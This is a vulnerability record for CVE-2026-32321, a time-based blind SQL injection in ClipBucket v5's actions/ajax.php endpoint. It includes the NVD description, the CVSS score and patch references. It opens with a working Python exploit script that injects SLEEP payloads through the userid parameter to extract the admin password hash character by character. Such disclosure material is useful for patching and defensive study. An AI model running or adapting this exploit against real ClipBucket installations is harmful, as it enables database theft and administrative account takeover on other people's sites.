CVE-2026-32321

import requests import time target_url = "http://target.com/actions/ajax.php" # Authentication headers (need valid session cookie) headers = { "Cookie": "PHPSESSID=your_valid_session_cookie", "Content-Type": "application/x-www-form-urlencoded" } def time_based_blind_sqli(payload): """Execute time-based blind SQL injection""" data = { "userid": payload, "actions": "some_action" } start_time = time.time() response = requests.post(target_url, headers=headers, data=data, timeout=30) elapsed = time.time() - start_time return elapsed > 5 # True if delay detected # Example: Extract admin password hash character by character def extract_char(position): charset = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ" for char in charset: payload = f"1' AND (SELECT IF(SUBSTRING((SELECT password FROM cb_users WHERE role='admin' LIMIT 1),{position},1)='{char}',SLEEP(5),0))-- -" if time_based_blind_sqli(payload): return char return None # Extract password hash (example) # password_hash = ''.join([extract_char(i) for i in range(1, 65)])

{"cve": {"id": "CVE-2026-32321", "sourceIdentifier": "[email protected]", "published": "2026-03-18T21:16:26.410", "lastModified": "2026-03-19T18:47:02.070", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "ClipBucket v5 is an open source video sharing platform. An authenticated time-based blind SQL injection vulnerability exists in ClipBucket prior to 5.5.3 #80 within the `actions/ajax.php` endpoint. Due to insufficient input sanitization of the `userid` parameter, an authenticated attacker can execute arbitrary SQL queries, leading to full database disclosure and potential administrative account takeover. Version 5.5.3 #80 fixes the issue."}, {"lang": "es", "value": "ClipBucket v5 es una plataforma de código abierto para compartir videos. Existe una vulnerabilidad de inyección SQL ciega basada en tiempo autenticada en ClipBucket anterior a la versión 5.5.3 #80 dentro del endpoint 'actions/ajax.php'. Debido a un saneamiento de entrada insuficiente del parámetro 'userid', un atacante autenticado puede ejecutar consultas SQL arbitrarias, lo que lleva a la divulgación completa de la base de datos y a una posible toma de control de cuentas administrativas. La versión 5.5.3 #80 corrige el problema."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:oxygenz:clipbucket:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.3", "versionEndExcluding": "5.5.3-80", "matchCriteriaId": "10D268B2-9D54-483D-892F-3D331F1E1C27"}]}]}], "references": [{"url": "https://github.com/MacWarrior/clipbucket-v5/commit/726d68b0c9d4c702dce2691c2759b6bf84a1691f", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/MacWarrior/clipbucket-v5/security/advisories/GHSA-2757-6cp4-v7xx", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}